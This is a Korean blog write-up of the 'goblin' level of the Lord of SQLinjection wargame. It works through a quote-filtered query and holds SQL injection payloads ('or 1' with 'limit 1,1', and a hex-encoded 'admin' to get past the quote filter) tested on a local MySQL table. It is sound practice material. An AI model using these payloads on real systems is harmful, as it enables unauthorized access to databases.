워게임/LOS
Lord of SQLinjection - 3 [ goblin ]
본캐
2022. 12. 30. 15:00
문제를 살펴보면,
' , " , ` 필터가 있고, id = guest , no 값을 GET 방식으로 받고 있다.
id 값이 admin 과 일치하면 solve() 함수가 작동하여
클리어가 되는 방식이다.
일단 no가 무엇인지를 알아내야하기 때문에
no=1 을 넣어 봤다.
Hello guest 가 출력된다.
no=0 을 넣었을 땐
Hello guest 가 출력되지 않았다.
그렇다는건 guest = 1 이라는 걸 알 수 있다.
그렇다면 no=1 or 1을 넣어 참으로 만들면 어떨까?
mysql> select * from test1;
+-------+-----+
| id | num |
+-------+-----+
| guest | 1 |
| admin | 2 |
+-------+-----+
2 rows in set (0.00 sec)
guest = 1 이고 admin = 2 인 테이블을 만들어 보았다.
mysql> select id from test1 where id='guest' and num=1 or 1;
+-------+
| id |
+-------+
| guest |
| admin |
+-------+
2 rows in set (0.00 sec)
num=1 or 1 을 했을 때,
id 의 모든 정보가 출력되는 걸 확인 할 수 있다.
mysql> select id from test1 where id='guest' and num=1 or 1 limit 1,1;
+-------+
| id |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)
LIMIT 이라는 함수로
admin 만 뽑아낼 수 있다.
이제 이걸 문제에 적용 시켜보자.
[MySQL] Limit 사용법
//아래 예는 5개 가져오기 SELECT * FROM [TABLE NAME] LIMIT 5; // LIMIT 시작점, 갯수 (아래 예의 경우 5번째부터 10개 추출. 첫번째 파라미터는 0 부터 시작함!) SELECT * FROM [TABLE NAME] LIMIT 4, 10;
nolran.tistory.com
👍
[ + ]
admin = 0x61646D696E
admin 을 16진수로 바꿔서 푸신 분들도 계시더라구요